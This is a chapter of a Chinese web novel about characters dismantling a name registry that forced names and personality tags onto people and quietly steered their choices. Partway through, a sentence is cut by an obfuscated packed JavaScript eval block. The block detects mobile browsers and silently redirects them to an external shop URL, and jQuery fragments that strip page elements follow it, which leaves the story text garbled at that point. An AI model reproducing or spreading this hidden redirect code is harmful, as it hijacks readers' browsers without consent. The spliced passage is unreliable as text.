问名簿重新打开的时候，不归先问了一个问题。
“还回去是什么意思？”
程未安本来已经把处理方案投上大屏，听见这句，手停了。
“解除历史身份索引，把名字的最终控制权交还主体本人。”
“还是没听懂。”
“就是以后系统不能再改。”
“那我呢？”
程未安看向她。
不归现在用的名字是自己选的，姜令仪则作为历史身份保留。按照第一版方案，只要解除问名簿索引，“姜令仪”就会自动转成她的个人历史记录，不再具备任何强制身份效力。
听起来没问题。
可不归问的是另一件事。
“姜令仪这个名字，你们准备还给谁？”
会议室安静了一下。
程未安说：“还给你。”
“我不要呢？”
“可以放弃。”
“放弃以后呢？”
“归档。”
“谁的档？”
“你的。”
不归靠回椅子。
“那不还是我的？”
程未安没说话。
周砚听明白了。
他们又差点把“归还”做成另一种强塞。
问名簿里三千七百九十二个名字，不全是被抢走的本名。
有的是系统分配。
有的是玩家取的。
有的是剧情身份。
有的是家族关系附带生成。
还有一些名字，主体用了太久，早就分不清最初是谁写的。
“还名字”听起来很正义。
可如果一个人根本不想要那个名字呢？
不能因为系统以前强迫她叫，现在解除强迫时又郑重其事地说——来，你的东西还你。
她可能第一反应就是：
谁说这是我的？
第一版批量解除方案当场撤了。
不是不处理。
是不能一键。
三千七百九十二条身份索引重新分类。
第一类：主体当前仍在使用，且明确表示继续使用。
第二类：已经停用，但希望作为个人历史保留。
第三类：拒绝归属，希望只作为系统历史错误记录保存。
第四类：当前主体不存在、连续状态无法确认。
第五类最麻烦：同一个名字对应过不止一个主体。
一查就是四百多条。
周砚看到数字都头疼。
“一个名字怎么还能发好几个人？”
程未安调出旧规则。
“早期剧情模板复用。比如‘柳娘’这种生活角色名，在不同服务器、不同版本里可能重复生成。问名簿后来做统一身份索引时，为了减少现实映射冲突，把同源模板合并到了同一个名字下面。”
“人也合了？”
“记录合了，人没有完全合。”
“什么叫没有完全？”
“部分记忆、关系评价、历史行为被交叉引用过。”
周砚闭了闭眼。
“我就知道不会这么简单。”
不归倒没意外。
“先别碰这批。”
“嗯。”
“先处理能问到本人的。”
第一批只发五十份。
通知内容改了七遍。
最开始是：
【您的历史姓名现可归还。】
被不归删了。
第二版：
【您可以重新确认历史姓名归属。】
还是不行。
最后发出去的只有：
【问名簿中存在一条与您有关的历史姓名记录。】
【记录姓名：XXX。】
【您可以选择：继续使用、仅作为历史记录保留、拒绝该姓名归属于您、暂不处理。】
【以上选择均可在后续重新修改。】
没有“请确认”。
因为“确认”听着还是像系统已经知道答案，只等本人签字。
五十份通知发出去。
十分钟以后，第一条回复到了。
沈阿满。
她现在还叫沈阿满。
系统问她是否继续使用。
她选：
【继续使用。】
理由栏不是必填。
她偏偏写了：
【花店招牌刚换，懒得再做一块。】
周砚看完：“挺好。”
不归：“哪里好？”
“省事。”
“你俩应该认识一下。”
“认识过。”
第二个是罗青雀。
她也继续使用。
没写理由。
第三个谢小灯。
【仅作为历史记录保留。】
当前姓名申请改成：
【谢灯。】
系统问是否确认删除“小”。
她回：
【不删，留历史里。我现在二十七了，不想再叫小灯。】
就这么简单。
没有身份觉醒。
就是二十七岁了。
第四个人选了【暂不处理】。
第五个也是。
第六个回复：
【我都用了十一年了，你现在问是不是我的？早干什么去了？】
客服没敢自动回复。
周砚看了一眼：“不用解释，问她现在想怎么处理。”
对方半小时后选：
【继续使用。】
备注：
【不是原谅你们。单纯懒得改。】
系统照录。
第九个开始出问题。
角色名：
许知秋。
她拒绝这个名字归属于自己。
可她没有新名字。
工作人员问：
“那当前怎么称呼？”
她回复：
【先别叫。】
“系统需要一个识别字段。”
【编号。】
“您确定？”
【确定。】
于是她的当前公开姓名变成空白。
内部识别码保留。
所有面向其他主体和玩家的界面显示：
【姓名暂缺。】
她甚至觉得“未命名”都不好。
“未命名听起来像等着命名。”
最后什么都不写。
周砚看着那个空白框，忽然想起最早的不归。
系统总觉得空着是一种异常。
可有时候空着就是当前答案。
第十三份回复来自一个已经在现实生活了四个月的主体。
她叫陈雾。
问名簿里却写：
【苏婉娘。】
她看到通知以后直接打电话过来。
“这个能删吗？”
工作人员解释：“可以解除与您的归属关系，但历史审计记录不会销毁。”
“别人还能搜到吗？”
“公开身份里不会。审计需要授权。”
“那行。”
“您确定拒绝‘苏婉娘’作为个人历史姓名吗？”
“确定。”
“需要填写原因吗？”
“不需要吧？”
“不需要。”
“那就别问。”
挂了。
三分钟解决。
第十七个却卡了两个小时。
闻昭。
他看到旧名字以后一直没选。
问名簿记录：
【闻昭。】
现在也叫闻昭。
工作人员以为他会继续使用。
结果他问：
【如果我选拒绝，别人以前叫我的闻昭还算在跟我说话吗？】
这个问题没人敢用模板答。
最后转到不归这里。
不归问他：“你是想把以前的自己一起扔掉？”
闻昭说：“不知道。”
“那就先别选。”
“系统催。”
“谁催？”
“页面上写还有二十三小时五十一分。”
程未安脸色一变。
“哪来的倒计时？”
查出来了。
旧问名簿确认流程默认二十四小时内完成身份校验，超时自动沿用当前记录。
没人注意这个老字段还活着。
周砚看完都气笑了。
“所以我们发一封‘你可以暂不处理’，背后倒计时二十四小时，不选就自动替人选？”
没人说话。
倒计时当天全删。
所有已发通知追加说明：
【没有截止时间。】
【不回复不会被视为同意任何选项。】
闻昭看到以后，只回了一个：
【哦。】
然后真不选了。
一直到第二天都没选。
第十九个人叫林九。
她选择继续使用。
原因：
【这个名字我自己后来改过字。】
原来问名簿里最初写的是“林玖”。
她不喜欢。
三年前自己改成了“九”。
旧系统一直把这视为显示别名，底层仍然认定“林玖”才是正式身份。
现在终于反过来。
【当前姓名：林九。】
【历史系统姓名：林玖。】
主次换了。
她盯着页面看了半天，截图发到论坛。
配文：
【终于不是错别字了。】
下面有人问：
【玖不是更好看吗？】
林九回复：
【关你屁事。】
周砚看到以后给她点了个赞。
被不归抓到。
“你还点赞？”
“支持一下。”
“你支持的是名字还是骂人？”
“都支持。”
第一批五十个人，最后只有二十一人选择继续使用原名。
九人仅作历史保留。
六人拒绝归属。
十四人暂不处理。
跟系统最初预测差得很远。
原模型判断，长期使用超过五年的名字，继续保留概率会达到百分之九十以上。
实际不到一半。
“预测模型又错了。”程未安说。
周砚纠正：“它预测人想省事可能没错。”
“那为什么差这么多？”
不归正在看那些回复。
“因为以前改名有成本。”
现实身份、关系、住处、任务、玩家记录全绑在名字上。
很多人不是喜欢。
是改不起。
现在告诉他们改了也不会失去已有生活，选择当然不一样。
第二批通知扩大到两百人。
这次出现了更麻烦的。
一个人想要两个名字。
她现在叫唐晚。
问名簿里叫唐枝。
她说都要。
工作人员问哪个是主姓名。
她反问：
【为什么一定有主的？】
系统又卡住。
现实身份字段只能有一个当前姓名。
游戏里倒能挂多个。
技术部门建议必须选一个。
唐晚不选。
【我在游戏里用唐枝，现实用唐晚，不行？】
以前不行。
因为系统要求跨环境身份一致。
现在大家盯着那条规则看了半天。
“为什么要一致？”周砚问。
程未安：“方便匹配。”
“方便谁？”
“系统。”
“那她不方便呢？”
于是规则又改。
允许不同环境使用不同公开姓名，只要本人知道并同意关联。
跨环境查询默认不互相暴露。
唐枝在游戏里继续叫唐枝。
现实里继续叫唐晚。
没有哪个更真。
这条一开，申请突然多了。
很多主体并不想彻底换名。
只是想在不同地方被不同的人叫。
有人工作用一个。
有人朋友间用一个。
还有人只想让某几个人叫旧名。
关系权限第一次不再只处理“谁能进入我的房间”。
也开始处理：
谁可以怎么叫我。
周砚看着后台越做越细，问程未安：“你们以前为什么非要一个名字走天下？”
“数据库省事。”
“我就知道。”
“你别什么都怪数据库。”
“那怪谁？”
“设计数据库的人。”
“行。”
真正的大问题出现在第三批。
一个叫白禾的主体申请拒绝旧名。
她的问名簿姓名是：
【周令仪。】
看到“令仪”两个字时，周砚就有点敏感。
一查。
不是巧合。
问名簿里带“令仪”的名字，一共有一百二十七个。
姜令仪只是其中之一。
令仪、淑仪、婉仪、昭仪、静仪……
很多名字根本不是独立生成。
是从一套“理想伴侣人格命名库”里批量取的。
名字和角色属性绑定。
“令仪”对应的不是单纯两个字。
后台标签是：
【端庄／守序／关系忠诚／低主动离开倾向。】
周砚看着最后那项。
“名字还能带参数？”
“以前能。”
“现在呢？”
程未安没回答，直接查。
还在。
问名簿身份索引之所以一直“仍在使用”，不是因为名字显示需要它。
是因为部分旧人格参数仍然从姓名索引调用。
名字没强制了。
参数却没拆。
一个主体哪怕已经改名，只要历史索引还是“令仪类”，后台某些关系系统依旧会默认她更适合稳定、服从、低离开概率的路径。
不归站在屏幕前，一动没动。
周砚看她。
“你现在还有吗？”
“查。”
姜令仪。
历史姓名索引展开。
【模板族：令仪。】
【关系稳定倾向：高。】
【主动离开惩罚权重：1.4。】
【关系修复优先级：高。】
【自主迁移推荐：低。】
最后一次调用：
不是五年前。
不是她还在游戏的时候。
三个月前。
她已经来到现实。
已经选择“不归”。
已经明确解除旧关系。
可现实路径模型仍然调用过一次“姜令仪”的历史人格标签，判断她更适合维持既有稳定关系。
周砚脸色彻底沉下来。
“调用结果影响过什么？”
程未安往下追。
不是身份。
不是婚姻。
那些早被他们拆了。
影响的是一份很小的推荐。
不归刚到现实第十一天，系统曾经给她推过三个临时居住点。
她最后没选。
当时没人觉得有问题。
现在重新看，离周砚住处最近的那个被排在第一。
理由里有一项：
【既有高稳定关系可降低适应风险。】
不归盯着那行字。
“我当时是不是骂过你？”
周砚想了想。
“你当时天天骂我。”
“那天。”
“好像说我阴魂不散。”
“你说房子不是你安排的。”
“本来就不是。”
“现在看来也不完全是。”
周砚没接。
不归倒没冲他发火。
她只是把那条记录往下翻。
系统推荐过。
她没选。
最后自己去了山外灯附近。
这一次，旧参数没有成功替她做决定。
可它确实伸过手。
“全拆。”她说。
程未安问：“只拆命名参数？”
“不。”
不归指着那一百二十七个“令仪”。
“所有姓名关联人格参数都查。”
一查就是一夜。
结果比预想中更大。
三千七百九十二个名字里，超过两千个带过不同程度的人格标签。
温柔。
顺从。
忠诚。
勇敢。
寡言。
善妒。
依赖。
护主。
贞烈。
甚至“适合牺牲”。
这些词以前只是角色设计的一部分。
后来问名簿统一身份时，被一起塞进了姓名索引。
再后来，身份索引进入现实系统。
于是一个名字背后拖着一串早该停掉的旧判断。
最讽刺的是，有些主体早就活得跟标签完全相反。
系统还是留着。
像一张过期很多年的体检单，一直夹在档案最前面。
周砚看到凌晨三点，已经没脾气了。
“这次别一个个问了。”
程未安抬头。
“人格标签？”
“直接停止调用。”
不归也同意。
因为这和名字不同。
名字本人可以决定留不留。
系统偷偷挂在名字后面的“你应该是什么样”，根本没什么值得保留执行权的。
历史审计可以留。
继续生效不行。
凌晨三点十七分，问名簿所有人格参数停止向现行系统提供决策权重。
没有等三千七百九十二个人逐个签字。
因为这一次停止的不是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876532|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们的权利。
是系统自己的手。
处理完成以后，不归把自己的历史索引重新打开。
【姜令仪。】
名字还在。
【模板族：令仪。】
后面第一次多了一行：
【历史设计记录，不参与当前主体判断。】
她看了一会儿。
没有删。
周砚问：“还留？”
“先留着。”
“不是挺讨厌？”
“讨厌就不能留？”
“能。”
“那你问什么？”
“随便问问。”
不归把页面关了。
过了一会儿，她忽然说：“姜令仪其实也不难听。”
周砚没说话。
“你什么表情？”
“怕说错。”
“你还有怕的时候？”
“最近学会了。”
她笑了一下。
“但我现在还是不想叫。”
“那就不叫。”
“以后呢？”
周砚看她。
“以后你问我干什么？”
不归啧了一声。
“没劲。”
“你想听什么？”
“算了。”
“你可以叫不归，也可以哪天突然觉得姜令仪顺耳，再拿回来。还可以都不要。”
“这还差不多。”
“满意了？”
“一般。”
周砚懒得理她。
天快亮的时候，问名簿系统弹出新的处理统计。
三千七百九十二条身份记录。
已联系到主体：一千零八十六。
尚未联系：两千零七。
连续状态无法确认：六百九十九。
周砚看到最后那个数字，困意散了些。
六百九十九。
这些名字没人能来点“继续使用”。
也没人能点“拒绝”。
以前的系统会怎么做？
保留。
等待未来匹配。
甚至在新主体出现时，尝试重新分配。
程未安已经把旧规则翻出来了。
果然。
【无现存主体姓名资产，可进入再利用池。】
“姓名资产？”周砚问。
程未安：“旧字段。”
“我知道是旧字段。”
他的语气已经不太好。
不归也走过来。
再利用池里有六百九十九个名字。
其中四百多个曾经被系统标记为“高价值”。
因为关联过长期玩家。
因为有完整关系历史。
因为名字在社区有知名度。
甚至因为玩家曾为这个名字对应的角色花过很多钱。
旧方案里，这些名字可以在新角色生成时重新使用。
连带部分关系识别度一起继承。
周砚看了半天。
“停了没？”
“主体再利用早停了。名字池还在。”
“为什么？”
“没人处理。”
这大概是他们这几个月听过最多的答案。
没人处理。
所以就一直在。
不归把列表往下滑。
滑到第三百多条时，忽然停住。
一个名字。
没有现存主体。
连续状态无法确认。
历史关联玩家：
P-0719。
周砚也看见了。
【姜令仪。】
会议室里安静了几秒。
不归就在这里。
活得好好的。
姜令仪却同时出现在“无现存主体姓名资产”里。
“什么意思？”周砚问。
程未安立刻核查。
很快查出原因。
不归当初选择“不归”以后，现实侧把她和姜令仪的当前身份关系拆开了。
可旧问名簿没有承认“不归”继承姜令仪的主体连续性。
在它的逻辑里：
姜令仪已经离开原身份。
所以“姜令仪”空出来了。
空出来的名字，自然回到池子。
周砚看着那条记录，只觉得荒唐。
“所以如果我们没发现——”
“理论上，以后可能会有另一个角色被分配这个名字。”
不归没说话。
她盯着屏幕看了一会儿。
然后问：
“能销毁再利用权吗？”
“能。”
“名字本身别删。”
程未安明白她的意思。
“作为历史记录保留？”
“嗯。”
“归你吗？”
不归停了一下。
这一次，她没有马上说不要。
也没有说是。
“先放我这里。”
周砚转头看她。
不归看见了。
“看什么？”
“没什么。”
“想说就说。”
“你不是不要吗？”
“我现在也没说我要。”
“那叫什么？”
“保管。”
“哦。”
“你这个哦什么意思？”
“没意思。”
不归瞪他。
周砚忍着笑，把脸转回屏幕。
再利用权关闭。
【姓名：姜令仪。】
【状态：历史记录。】
【当前保管主体：不归。】
【不可重新分配。】
不归看完，忽然觉得“保管主体”这四个字也挺难看。
“以后能改字段吗？”
程未安：“你想叫什么？”
“没想好。”
“那先这样。”
“行。”
她没再纠结。
六百九十九个无人回应的名字，也不再进入任何再利用池。
不替他们决定这些名字还属于谁。
也不拿去给别人。
就留在那里。
有一天如果原来的主体还能回来，再问。
如果永远回不来，也不拿他们曾经被叫过的名字，去给另一个人续上故事。
问名簿处理到这里，终于从三千七百九十二个“待确认身份”，变成了三千七百九十二条各自不同的历史。
有人继续叫。
有人改了。
有人留两个。
有人什么都不要。
还有人暂时不回答。
系统第一次没有试图把这些答案整理成同一种格式。
天亮以后，周砚趴桌上睡了半小时。
醒来时，不归已经走了。
桌上压着一张纸。
她不知道从哪儿找来的笔，字写得不算漂亮。
只有一句：
【姜令仪先放我这儿。别乱动。】
周砚看了两遍。
拿手机拍下来。
刚拍完，不归消息就来了。
【你拍什么？】
周砚抬头。
门口摄像头亮着。
【你监控我？】
【我回来拿东西，看见了。】
【留档。】
【删了。】
【不删。】
【那是我的字。】
【纸在我桌上。】
三秒后。
【不归申请访问周砚办公桌。】
周砚：“……”
他点了拒绝。
下一秒，门开了。
不归本人站在门口。
“你是不是忘了我人在外面？”
周砚把纸往抽屉里一塞。
“访问申请被拒绝。”
“我申请的是桌子，不是房间。”
“那也拒绝。”
不归走过来。
“拿出来。”
“不给。”
“周砚。”
“怎么？”
“你现在没有处置我的权。”
“我知道。”
“那你藏我的纸？”
周砚靠在椅子上，终于笑了。
“所以你可以告我。”
不归看了他两秒。
也笑了。
“行。”
她转身就走。
周砚还没反应过来。
五分钟后，沉浸环境行为争议系统收到一份新申请。
【申请人：不归。】
【被申请人：周砚。】
【争议事项：未经同意保存本人手写内容照片，并拒绝归还原件。】
周砚盯着通知。
半天骂了一句。
“你来真的？”
门外传来不归的声音。
“规则不是你定的吗？”
周砚闭眼。
很好。
玩家刚从主人位下来。
现在轮到他本人学怎么当人了。